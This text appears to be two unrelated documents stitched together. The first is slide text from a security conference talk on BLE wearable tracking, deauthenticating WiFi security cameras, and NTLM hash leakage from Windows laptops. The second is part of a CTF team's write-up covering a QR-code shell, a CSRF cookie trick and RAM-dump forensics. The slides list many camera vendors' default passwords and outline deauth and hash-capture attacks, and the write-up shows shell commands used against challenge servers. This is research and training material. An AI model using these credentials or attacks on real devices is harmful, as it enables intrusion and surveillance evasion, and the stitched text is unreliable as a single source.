Withings Active • Mac Randomizes • But…Advertises MAC as Manufacturer Data in Advertisement Data (ADV_IND) Pebble Steel • 2 Bytes of MAC in Manufacturer Name - “Pebble Time LE XXXX” • Says Mac is random, but after days was still the same even after reboots • Serial Number in Device Info • Goes to sleep every so often • Uses both Classic and BLE Fitbit Alta • Randomized Mac, but effectively static after >4 months and battery loss • Unlike the one, stays connected for notifications Garmin vivofit • Static Mac, but… • Bluetooth only works when in a “sync” mode. Microsoft Band 2 • Dynamic Mac on reboot • “<Name>’s Band <XX:XX> LE” as device name Apple Watch • Dynamic Mac • Maintains dynamic mac between disconnects • Rotates appear time based, but not 100% sure how often Huawei Watch • Android Wear • Random Mac, and doesn’t respond to BLE broadcasts iOS Devices • BLE for Safari?!? • Other Apps Too • Does randomize heavily, and while it announces it as an i<Device>, no trackability So who’s doing it right? • Apple Watch • Android Wear • iOS Itself Tool? • This is where we were going to release a tool to track LAP / BLE Access Addresses / BLE Broadcast MACs • BlueHydra totally one upped us, and we had no idea... • Go try it out and contribute (we will be) Where do we go from here? • We need to continue to test devices to document the implementation issues when it comes to bluetooth device privacy. • github.com/urbanesec/bledevices Tl;dr? • When MACs are random, look for: • Lack of randomization, even if it says it is. • GAPs leaking serials • GATTs leaking serials • Device Names • You can deauth BLE devices to get some to respond to advertisement channel requests to get advertisement addresses (MACs). • While the standard supports it, devices don’t. Consumer Wireless Cameras Home(and office) “Security” What we are not talking about Weak / Default Passwords ACTi:&admin/123456&or& Admin/123456 American&Dynamics:& admin/admin&or& admin/9999 Arecont Vision:&none Avigilon:&Previously& admin/admin,&changed&to& Administrator/<blank>&in& later&firmware&versions Axis:&Traditionally& root/pass,&new&Axis& cameras&require&password& creation&during&first&login& (though&root/pass&may&be& used&for&ONVIF&access) Basler:&admin/admin Bosch:&None&required,&but& new&firmwares (6.0+)& prompt&users&to&create& passwords&on&first&login Brickcom:&admin/admin Canon:&root/camera Cisco:&No&default&password,& requires&creation&during& first&login Dahua:&admin/admin Digital&Watchdog:& admin/admin DRS:&admin/1234 DVTel:&Admin/1234 DynaColor:&Admin/1234 FLIR:&admin/fliradmin FLIR&(Dahua OEM):& admin/admin Foscam:&admin/<blank> GeoVision:&admin/admin Grandstream:&admin/admin Hikvision:&Previously& admin/12345,&but&firmware& 5.3.0&and&up&requires& unique&password&creation Honeywell:&admin/1234 Intellio:&admin/admin IQinVision:&root/system IPX-DDK:&root/admin&or& root/Admin JVC:&admin/jvc March&Networks:& admin/<blank> Mobotix:&admin/meinsm Northern:&Previously& admin/12345,&but&firmware& 5.3.0&and&up&requires& unique&password&creation Panasonic:&Previously& admin/12345,&but&firmware& 2.40&requires& username/password& creation Pelco Sarix:&admin/admin Pixord:&admin/admin Samsung&Electronics:& root/root&or&admin/4321 Samsung&Techwin (old):& admin/1111111 Samsung&(new):&Previously& admin/4321,&but&new& firmwares require&unique& password&creation Sanyo:&admin/admin Scallop:&admin/password Sentry360&(mini):& admin/1234 Sentry360&(pro):&none Sony:&admin/admin Speco:&admin/1234 Stardot:&admin/admin Starvedia:&admin/<blank> Trendnet:&admin/admin Toshiba:&root/ikwd VideoIQ:& supervisor/supervisor Vivotek:&root/<blank> Ubiquiti:&ubnt/ubnt W-Box:&admin/wbox123 Wodsee:&admin/<blank> What we are not talking about IP Weakness (This guy can help you create some! INTERNETZ FTW!) What we are not talking about Deauth 101 What we are not talking about Who cares! SECURITY? What if? Step 1 – Get into the mood Step 2 – Get some information Step 3 – Plan the attack! The Attack #DIVERSITY! Which ones are ‘Security’ Cameras? What was tested? Offline time Does it do notification How long does the notification take Does it notify you if it comes back online? Any cached video Onboard video storage Wired network option Type of power (Battery vs. Wired) Addition Equipment needed for function? Other performance observations Test Procedures • 0:00 - Stopwatch starts • 1:00 – Targeted De-authorization Begins • Every :30 Hand wave for motion recognition • 11:00 – Targeted De-authorization Ends • 16:00 – Test ends The Setup “Timer” Test Camera iPad w/ Cam Apps on Separate Network Time for the Demo Video Insert Test Montage You get the idea, Now the Results… Kuna Smart Security Light – Craftsman Version Kuna Positive It’s a light It’s WIRED! Negatives App Only Notifications Status Lights! After offline for 10 minutes it doesn’t recover at all Results Recovers after 1:39 seconds Kuna https://help.getkuna.com/hc/en-us/articles/207854363-My-Kuna-Is-Offline Immedia Blink Wire-Free HD Home Monitoring & Alert System Immedia Blink Positive Easy to mount? Negatives Requires a base-station (sync module) Battery Powered No SD or onboard storage No wired option Results Recovers after :09 seconds Records video in 5-10 second clips Amcrest Amcrest ProHD WiFi Camera Amcrest Positive 10 seconds onboard memory Wired Option Negatives On/Off switch on unit Results Recovers after 2:00 minutes D-Link D-Link DSC-2630L D-Link Positive SD Option Doesn’t claim to be a security camera! Negatives No wired option Results Recovers after 1 minute Netgear Arlo Smart Home Security Netgear Arlo Positive Versitile! That sticker! Negatives Requires a base-station Battery Powered No SD or onboard storage No wired option Results Recovers after :45 seconds Logitech Logi Circle Logitech Circle Positive Consistant device push notifications Negatives On/Off switch on unit No SD or onboard storage No wired option Results Recovers after 1:30 seconds Belkin NetCam HD Plus Belkin Positive 10 seconds onboard memory Negatives On/Off switch on unit Inconsistent device push notifications Results Recovers after (:10) seconds Samsung Smart Cam HD Pro Samsung Smart Cam Positive SD Card Option Wired Option Negatives Cloud option not available - SD Storage Only Results Recovers after :10 seconds *If there is immediate movement Canary Canary All-In-One Home Security Device Canary Positive Deauth quick Recovery Wired Option *Notification after 30 minutes offline Negatives Movement required for recovery Results Recovers after :02 seconds *If there is immediate movement Nest Nest Cam A00005 Nest Positive Keeps between :30 – 4min cache Push notifications for activity are consistent Negatives No SD Option No Wired Option Results Recovers after :20 seconds Bad Guys won’t put in the effort... What should consumers do then? Wired > Wireless Cameras Verify and understand the limitations of the products* Cameras have unintended great uses! Real Estate Household / Business Cleaners Dog Walkers Etc. Windows for Consumers What We Tell Users • Patch your devices • Install Anti-virus • Use HTTPS only • Use a password manager • Watch out for suspicious downloads • Don’t use suspicious wifi • Pick “strong” passwords* Let’s talk about the past • Back at DEF CON 20 Zack gave a talk… The Old Focus • Corporate Accounts • Internal Networks • Relay Auth • Mmmmm. Data NTLM Hashes • Md4(unicode($password) • 128 bit hash • Used for network authentication and signing NTLM Network Authentication • 3 way Handshake • Client -> Server: Sup, what do you support • Server -> Client: We speak klingon, Challenge Code • Client -> Sever: My voice is my passport, verify me. • Two Flavors • V1 – Server Challenge Only • V2 – Client challenge added to server challenge • Microsoft has recommended to move away from NTLM in favor of Kerberos • Auto Authentication to Things WPAD • DHCP Option • WPAD from DNS from DHCP • LLMNR • NBNS • Windows 10 seems to be authing less to this, but some applications (LOOKING AT YOU CHROME) do. Not Just WPAD • This isn’t another “wpad is bad” talk. • Injection of UNC paths in IE/Edge • File formats with UNC Paths • 3rd party applications without CORS Corporate Internal Only? THIS IS STILL A HUGE ISSUE You might see where this is going Corporate Internal Only? • We’ve never really talked about impact of cracking the NTLM Network Challenges… • Corporate? VPN Access, Sharepoint, Shared Passwords, local admin if permissions are set? • What about personal users? • Shared passwords? • Local file shares? • Provides only guest access remotely and admin. Now ZackAttack Update Release 0.1.2 “for Zacks who can’t code good and wanna learn to do other stuff good too” Now So what? • At a minimum, information disclosure of email of the user. That’s bad enough. • Offline password attacks. • And if you can crack the password… Heavy Microsoft User? • Outlook Emails! • OneDrive • Remote File Access • WiFi Sense Offline Cracking? That’s Original…. • Breaches - both services and local • Encrypted files / datasets • Really bad services • But harvestable from a LAN? And as a single signon token? What We Tell Users • Patch your devices • Doesn’t Mater • Install Anti-virus • Some HIDS catch 1122334455667788, but that’s it • Use HTTPS only • It’s only a matter of time you hit a HTTP endpoint • Use a password manager • Still have your Microsoft account, but helps with other sites • Watch out for suspicious downloads • Does not apply • Don’t use suspicious wifi • Are you going to not use wifi when on the road? • Pick “strong” passwords What We Shouldn’t Be Telling Users • Use this cool VPN service! Totally Trustworthy! What We Need To Tell Users • Pick strong passphrases • Enable 2-Factor (yes, it’s 10+ steps) • Use unique creds per site • Maybe avoid hotmail/outlook mail for a bit How can we fix it? • Disable NTLM Auth (but what user is going to do that) • Don’t use a Microsoft account to log in to your windows system So TL;DR • Got a Stock Windows Laptop? • Attacker on the same network? • Use a Microsoft Account to log in? • You’re pwned. Summary of Issues • Fitness / Notification Devices can be tracked through various means • WiFi Security Cameras can get blasted offline and see/know nothing • Consumer Windows Laptops leak identity and creds for offline cracking Acknowledgements Hat Tip to Other Research • Mike Ryan, Michael Ossmann, Dominic Spill, Zero_Chaos, and Scott Lester on BLE • Simple Nomad for OEM device research • Mubix for complaining about ZackAttack enough END OF LINE Bits and Presentation Available at urba.ne/defcon24 @zfasel @secbarbie
pdf
Cybrics CTF Nu1L Writeup Team Page:https://nu1l-ctf.com Cybrics CTF Nu1L Writeup Disk Data Description Solution QShell Description Solution Caesaref Description Solution Hidden Flag Description Solution Paranoid Description Solution Sender Description Solution Matreshka Description Solution Oldman Reverse Description Solution NopeSQL Description Solution Bitkoff Bank Description Solution ProCTF Description Solution Fast Crypto Description Solution Cirquits Description Solution Battleships Description Solution Tone Description Solution Dock Escape Description Solution Fixaref Description Solution Telegram Description Solution Fake TCP Description Solution Game Description Solution Samizdat Description Solution Disk Data Status: Completed Tag: MISC Description Author: Khanov Artur (awengar) Disk dump hides the flag. Obtain it data2.zip.torrent Solution .bash_historyImageMagick Mistyimgur QShell Status: Completed Tag: Cyber Description Author: Khanov Artur (awengar) QShell is running on nc spbctf.ppctf.net 37338 Grab the flag https://github.com/alishtory/qrcode-terminal/blob/master/qrcode_terminal/qrcode_terminal.py Solution jio, def qr_terminal_str(str,version=1): if platform.system() == "Windows": white_block = '█' black_block = ' ' new_line = '\n' else: white_block = '█' black_block = ' ' new_line = '\n' █████████████████████████████████ ls █████████████████████████████████ █████████████████████████████████ █████████████████████████████████ ████ █ █ █ █ ████ ████ █████ █ ██ █ █ █████ ████ ████ █ █ ███ █ █ █ █ █ █ ████ ████ █ █ █ █████ █ █ █ ████ ████ █ █ █ █ █ █ ████ ████ █████ █ ███ █ █ █ █████ ████ ████ █ █ █ █ █ █ ████ ████████████████ █ ██████████████ ███████ ██ ██ █ ██ ███ █ ████ ███████ █ █ ██ █ ██ █ ████ ████ ████ ████ █ █ ██ ████ █████ ████ █ ███ ███ ███████ ████ █ █ █ ██ █ ██ █ ███████ ████████ ██ █ █ ███ █████ ████ ████ ██ ██ ██ ██████ █ ████ █████ █ ██████ █ █ █ ██ ████ ████ █ █ ██ ███ █ █ █ ████ ████████████ ██ ███ █ ████ ████ ███ █ █ █ █ █ ██ ████ ████ █████ ████ █ ██ ███ █████ ████ █ █ ██ ███ █ █ █████ ████ █ █ █ █ ████ █ █ █████ ████ █ █ ██ █ █ █ ███ ████ ████ █████ ███ ██ ████ ███████ ████ █████ ███ ██ ████ █████████████████████████████████ █████████████████████████████████ █████████████████████████████████ █████████████████████████████████ ███████████████████████ █ ██ ███ █ █ █████ █ █ ███ █████ █ █ █ █ █ ██ █ █ █ █ █ █ █ █ ███ █ █ █ █ █ █ ██ █ █ █ █ █ █ █████ ██ █ █ █████ █ █ █ █ █ █ █ █████████ ██ █████████ █ █████ █ █ ██ ██ ███ ████ █ ██ █ █ █ ██ █ ██ █ ██ █ ██ █ ██ █ ██ ███ ██ █████ █ ███ ██ █ █ ███████ ██ ███ : █████████ ██ █ ██ █ █ █████ █ ███ ██ █ █████ ████ █ ████ █ █ █ ███ █ ██ ██ ███ █ █ █ ███ █ █████ ███ █ █ █ ██ ████ ███ █ █ █████ ███ █████ █ ███ █ █ ██ █ ██ ██ ███████████████████████ █████████████████████████████████████████████████████████████ █████████████████████████████████████████████████████████████ █████████████████████████████████████████████████████████████ █████████████████████████████████████████████████████████████ ████ ██ █ █ █ ███ ██ █ ██ █ ██ ███ ████ ████ █████ █ ██ █ ██ █ █ █ ████ ██ ██ ██ █████ ████ ████ █ █ █ ███ █ ██ ██ ██ ███ █ ██ █ ██ █ █ ████ ████ █ █ █ █ ██ █ █ ███ █ █ █████ █ █ █ █ █ ████ ████ █ █ █ ██ █ ████ ██ ██ █ █ ██ █ █ ███ █ █ ████ ████ █████ █ █ █ █ ██████ ███ █ ███ █ ███ █████ ████ ████ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ████ █████████████ ██ ████ █ ███ █ █ █ █ ████████████ ██████ ██ █ ███ █ ████ █ █ █ ███ █ █████ ████ █ █ ██ █ ████ ██ █ ██ █ █ █ ████ ███ ██ ██ ████ ████ ██ ██ ███ █ █ ███ ██ █ █ █ █ █ ███ █ █ ████ ███████ ████ █ ████ ██ █ █ █ ███ ██ █ █ █ █████ █████ ██ ██ █ █ ██████ █ █ ████ █ ██ █ █ █ ██ ████ ████ ██ ██ ██ █ ███ █ █ ██ █ ██ █ █ █ █ █ █ ██ ████ ███████ ██ ███ █ █ ███████ ██ █ ██ ███ █ ████ █████ ██ ██ █ ███ ██ █ █ █ █ █ ██ ████ ██ ████ █████ ██ █ █ █ █ █ ██ █ ██ ██ █ █ █ ██████ ████ ██ █ █ █ █ █ █ ████ █ █ █ █ █ █████ ████ ██████████ ███ █ ██ █ █ ███ █ █ ███ ███ ███ █████ ████ █████ █ ██ █ ███ ██ █ █ █ █ ████ █ ██ ███████ █████ ████ ███ ██ █ █ ██ ██ ██ █ █ ██ █ ██ ████ ███████ █ █ ██ ██ ████ █ ██ █████ █ ███ █ █ ████ ████ ███████ █ ██ ███ █ ████ █ ███ █ █ ████ █ ████ █████ ██ ██ ██ ████████ █ ██ ████ █ ██ █ ██ ████ ████ ███ ███ █ ████ █ █ █ █ █ █ █ █ ████████ ██████ ███ █ █████ ████ ███ █ █ █████ █ ███ ██ ████ ████ █ █ █ ██ ██ █ █ █ █ █ ████ ███ █ █ ███ ████ ████ █ █ ███ ███████ ██ █ ███ █ ███ █ ███ █ ███ ███████ ██████ █ ██ █ █ ███ ██ █ ██ ██ ████ ████ █████ ██ ███ ███ ████ █████ ██ █ ███ █ ███ ████ ████ █ █ █ █ █ █ ██ ██ █ █ █ █ █ █ █ █ █ ████ █████ ████ █ ███ █ █████ █ ██ ██ █ █ █ ██ █ █ ██ █████ █████ █ ████ ███ ███ ██ ██ █████ ███ █ █ █ ██ ████ cat flag.txt ████ █ ██ ██████ ██ █ ███ █ █ █ ██ █ █ ███ ████ █████ ██ █ ██ ███ ██ █ █████ ██ █ █ ███ ██ █████ ████ ████ █ █ ██ ██████ ████ █ █ ████ █ █ ███████ ███████ █████ █ █ █ ██ ████ ██ ███ ██ ██ ████ █ █████ ████████████ █ ████ █ █ ██ ███ █ ██ █ █ ████ ████ █ █ █ ██ ██ █ ████ █ █ █ ██ ████ ██ █ █ ██ ████ █████ ██ ███ ██ █ ███ █ █ █ █ █ █ ██ ██ ████ ████ ███ █ █ ████ █ ██████ ███ █ ██ ██ ██ ████ ████ █ █ █ ████ █ ███ ██ ██ █ █ ██ █ ██ ███ █ ████ ████ █ █ █ ███ ████ █ █ █ ██ ████ █ █ █ █ ████ █████ ████ ███ ██ ██ █ █ ████ █ ██ █ ██ █ █ ████ ███████ ██ █ █ ██ ██ █ █ █ █ █ █ █ █ ████ ████████████ ██ ██ █ ████ ███ ██ ██ ██ █ ███ █ █ ████ ████ █ █ █ █ █ █ █ █ ████ ██████ █ █ █ ██ ████ ████ █████ █ █ ███ ███ █ ███ █ ███ ██ ██ ███ ███████ ████ █ █ ██ █ ██ █ █ █ █ █ █ █ ██ █ ██ ████ ████ █ █ ██ █ █ ████ █ ███ ███ █ █ ████ ██ ████ ████ █ █ █ █████ █ █ █████ █████ █ █ ███ █ ███ ████ ████ █████ ████████ ██ █ ███ █ ██ ████ ██ ██ ███ ███████ ████ ████ █ ██ ██ █ ██ ███ ████ █ ██ ███ ██ ████ █████████████████████████████████████████████████████████████ █████████████████████████████████████████████████████████████ █████████████████████████████████████████████████████████████ █████████████████████████████████████████████████████████████ ███████████████████████ █ ████ ██ █ █ █████ ██ ███ █████ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █████ █ █ █ █ █████ █ █ █ █ █ █ █ █████████ █ █████████ █ █ ███ █ █ ███ ██ ██ ██ ██ █ █ █ █ █ ██ █ ████ █ ██ ██ █ ██ ████████ █ █████ ███ ██ █ ████ █████████ █ █ █ █ █ ██ ██ █ ███ ██ █ █████ █ ██ █ ██ ███ █ █ █ █ █ █ ██ █ █ █ █ █ █ █ █ █ ███ █ █ █ █ █████ ███ █ █████ ██ ██ █ ███ █ █ ██ ████ ██ : ~ Caesaref Status: Completed Tag: WEB ███████████████████████ . █████████████████████████████████████ █████████████████████████████████████ █████████████████████████████████████ █████████████████████████████████████ ████ █ █ ███ ████ ████ █████ █ ██████ ████ █████ ████ ████ █ █ █ █ ███ ██ █ █ ████ ████ █ █ █████ ███ █ █ █ ████ ████ █ █ ███ █ █ █ █ █ ████ ████ █████ █ █ █ █ ████ █████ ████ ████ █ █ █ █ █ █ █ █ ████ ████████████ █ ██ █████████████ ██████ █ █ █ █ ████ ██ ████ █████ █ ██ ████ ██ ██ █ █ ████ ████ █ █ █ █ ███ █ ██ ██████ ██████ █ ██ ██ ██ █ █ █ ██ ████ █████ ██ █ █ █ ██████ █████ ████ █ ████ ██ ███ █ █ ██████ █████ ██ █ ██ ██ ███ ██ █ ███████ ████ ██ ██ █ ██ █ ████ ██ ██ ████ ████ █████ █ █ ██ ███ █ █████ ████ █ █ █ █ █ ███ █ ██ ████ ████ █████ ██ █ ██ █ █ █ ███████ ████ █ █ ███ █ █ ██ █ █ █ █ ██ ████ ████ █ █ ██ █ ██ ██ ███████ ████████████ ██ █ █ ███ ████████ ████ ██ ████ █ ██ █ █ █ ██████ ████ █████ ███ █ █ █ ███ ███████ ████ █ █ █ ██ █ ██ ████ ████ █ █ █ ████████ █████ ██████ ████ █ █ █ █ █ █████ █ █ █████ ████ █████ ██ ██ ██ ███████ █ █████ ████ █████ █ ██ █ █ ███████ █████████████████████████████████████ █████████████████████████████████████ █████████████████████████████████████ █████████████████████████████████████ Description Author: Alexander Menshchikov (n0str) This web resource is highly optimized: http://45.77.218.242/ Solution vps url cookie http://45.77.218.242/?csrf- token=1000bb751d65a8ffacd73a5ffecc27f4327750b73292804c76dfa1d500834aab&flag=1 Hidden Flag Status: Completed Tag: Reverse Description Author: Khanov Artur (awengar) Somebody hides flag in RAM. Catch it RAM dump: 20190717.zip.torrent Solution imageinfo Win10 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win10x64_14393, Win2016x64_14393 AS Layer1 : Win10AMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/Users/acdxvfsvd/Downloads/20190717.mem) PAE type : No PAE DTB : 0x1ad002L KDBG : 0xf8005b5a3520L Number of Processors : 2 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0xfffff8005a4ee000L KPCR for CPU 1 : 0xffff800121420000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-07-17 23:48:54 UTC+0000 Image local date and time : 2019-07-17 16:48:54 -0700 Volatility Foundation Volatility Framework 2.6 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ - ----- ------------------------------ ------------------------------ 0xffffd88ebf287438 4 0 32...0 0 ------ 0 6285-08-11 06:06:22 UTC+0000 0xffffd88ebf3a5038 88 0 32...0 0 ------ 0 6228-07-11 06:16:00 UTC+0000 0xffffd88edc2f3038 ???????smss.exe 296 0 32...8 0 ------ 0 6235-10-10 13:14:27 UTC+0000 0xffffd88ec0ebf578 `?k?????csrss.ex 408 0 32...4 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec1569078 0???????wininit. 484 260 32...8 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec13fe078 ?m?????csrss.ex 496 0 32...6 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec1913578 ????????winlogon 580 372 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1922578 ?n??????services 612 0 32...0 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec193c078 `z??????lsass.ex 632 0 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1978578 ????????fontdrvh 720 128 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1952578 `|??????fontdrvh 728 128 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec19b9578 ?P??????svchost. 812 444 32...8 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec1a1b578 ????????svchost. 864 0 32...4 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec1a8a078 ????????dwm.exe 964 160 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1a40578 ?~??????svchost. 340 280 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1ad6578 P???????svchost. 356 280 32...6 0 ------ 0 6236-08-31 00:21:17 UTC+0000 0xffffd88ec1ae5578 P9??????svchost. 396 284 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1b2a578 ???????svchost. 904 280 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1b9a578 ?.?????vmacthlp 1168 272 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ebf2e0578 ?n??????svchost. 1216 280 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ebf2f0038 1232 0 32...4 0 ------ 0 6228-07-11 06:16:00 UTC+0000 0xffffd88ec1bdd578 p?•?????svchost. 1308 280 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1bd1578 ????????svchost. 1372 280 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1c05578 ?>??????svchost. 1404 268 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1c16578 ?P??????svchost. 1412 280 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1c19578 p???????svchost. 1484 280 32...6 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1c70578 0???????spoolsv. 1528 136 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1d4f578 ?0??????svchost. 1800 280 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1d62578 0???????VGAuthSe 1848 204 32...6 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1d72578 ?C ?????vmtoolsd 1856 288 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1d89578 ????????MsMpEng. 1876 312 33...6 0 ------ 0 6236-07-21 07:00:43 UTC+0000 0xffffd88ec1d7f578 ?X??????Security 1888 256 32...6 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ebf492578 ????????svchost. 2200 280 32...6 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1f85578 ???????dllhost. 2272 320 37...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec20142f8 ??????WmiPrvSE 2392 344 32...6 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec12dc578 `?.?????msdtc.ex 2532 272 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec21c8578 ? ?????NisSrv.e 2756 244 32...6 0 ------ 0 6236-07-21 07:00:43 UTC+0000 0xffffd88ec234b078 ? ?????WmiPrvSE 2680 340 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec243a578 ?n2?????svchost. 2764 280 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec75a1378 ?Ny?????sedsvc.e 3660 292 32...4 0 ------ 0 6236-07-21 07:00:43 UTC+0000 0xffffd88ec6b90578 ???????SgrmBrok 3712 0 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88edbdff578 ????????SearchIn 3836 308 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec24a9078 ?`??????WmiApSrv 4084 428 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1561438 0?0?????sihost.e 1036 336 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec13d9578 ????????svchost. 1320 292 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec0e08578 ?N??????taskhost 1940 256 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec0e0e578 ????????ctfmon.e 3136 244 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec0e88578 3336 160 32...0 0 ------ 0 - 0xffffd88ec0f58578 ?uN?????explorer 3448 260 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec0d5b578 ?P?????dllhost. 2376 400 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec0de1078 ???????ShellExp 1920 328 32...8 0 ------ 0 6236-07-21 14:40:09 UTC+0000 0xffffd88ec120e578 pJ?????SearchUI 3576 284 32...4 0 ------ 0 6236-12-31 12:02:38 UTC+0000 0xffffd88ec0d6b4f8 p??????RuntimeB 2872 300 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec2537078 0?C?????RuntimeB 3604 304 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec252d078 pCS?????Applicat 3404 340 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec25ef578 PNZ?????smartscr 4240 340 32...0 0 ------ 0 6236-12-31 04:23:08 UTC+0000 0xffffd88ec2651078 ?0m?????Microsof 4400 284 32...8 0 ------ 0 6236-07-21 14:40:09 UTC+0000 0xffffd88ec2775578 ?@u?????browser_ 4584 252 32...0 0 ------ 0 6236-07-21 07:04:14 UTC+0000 0xffffd88ec2777578 ?w??????RuntimeB 4680 300 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec2815578 ??j?????RuntimeB 4792 300 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec2841078 ??`?????Microsof 4884 380 32...4 0 ------ 0 6236-12-31 12:02:38 UTC+0000 0xffffd88ec2865078 a?????Microsof 4896 420 32...2 0 ------ 0 6236-12-31 12:02:38 UTC+0000 0xffffd88ec12c9578 ? ?????SkypeBac 5408 464 32...2 0 ------ 0 6236-07-21 14:40:09 UTC+0000 0xffffd88ec1304578 ?@<?????RuntimeB 5524 320 32...2 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1343578 ??????RuntimeB 5664 300 32...0 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec299b578 ?>??????backgrou 5952 444 32...4 0 ------ 0 6236-07-21 14:40:09 UTC+0000 0xffffd88ec018c578 ???????MSASCuiL 5220 260 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec017e578 gM?????vmtoolsd 5080 288 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec14e3578 ??????OneDrive 5356 196 32...0 0 ------ 0 6237-01-02 17:28:14 UTC+0000 modules moddump rc4 Paranoid Status: Completed Tag: Network Description Author: Vlad Roskov (vos) 0xffffd88ec0136578 5564 0 32...0 0 ------ 0 - 0xffffd88ebfa71578 ??V?????audiodg. 5808 380 32...8 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ebfa54578 ?0?????cmd.exe 3428 0 32...0 0 ------ 0 6236-07-21 07:00:43 UTC+0000 0xffffd88ebfa74578 ??????conhost. 4236 280 32...4 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88ec1a87078 ? g?????SearchPr 5168 268 32...0 0 ------ 0 2583-02-02 09:39:39 UTC+0000 0xffffd88ec2a3c578 ?hM?????SearchFi 3964 256 32...2 0 ------ 0 2583-02-02 09:39:42 UTC+0000 0xffffd88ec0fa9578 @Z??????RamCaptu 4920 184 32...6 0 ------ 0 6236-10-10 17:41:57 UTC+0000 0xffffd88ec26a3578 ?dQ?????conhost. 4312 268 32...6 0 ------ 0 6236-07-21 07:00:39 UTC+0000 0xffffd88eda5c83d0 Flagostor.sys 0xfffff8005daf0000 0x7000 \??\C:\t4est\Flagostor.sys 0xfffff8005daf0000 Flagostor.sys OK: driver.fffff8005daf0000.sys >>> buff = [ ... 0x2D, 0xFB, 0x9B, 0xA8, 0x21, 0xF8, 0xB0, 0xB5, 0xFA, 0xEC, ... 0x58, 0xC5, 0xF9, 0x35, 0x57, 0xFA, 0xE1, 0x62, 0x0E, 0x19, ... 0x45, 0x7D, 0x33, 0x58, 0x6F, 0xC9, 0x88, 0x4F, 0x70, 0x82, ... 0x00 ... ] >>> rc4 = ARC4.new('qweasdzxc') >>> rc4.decrypt(''.join(map(chr, buff))) 'cybrics{H1DD3N_D33P_1N_NTKRNL}\xc9' My neighbors are always very careful about their security. For example they've just bought a new home Wi-Fi router, and instead of just leaving it open, they instantly are setting passwords! Don't they trust me? I feel offended. paranoid.zip Can you give me their current router admin pw? Solution HTTPwifiwireshark802.11 WEPWPA flag Sender Status: Completed Tag: Cyber Description Author: Vlad Roskov (vos) We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that. intercepted_text.txt Get us their secret documents Solution Base64 decode to get the content of email, his username and password. Use the username and password to login to his email via POP protocol to download the archive then decompress it with the password in the content. Matreshka Status: Completed Tag: Reverse Description Author: Khanov Artur (awengar) Matreshka hides flag. Open it Solution Solution ELF golang Pyc 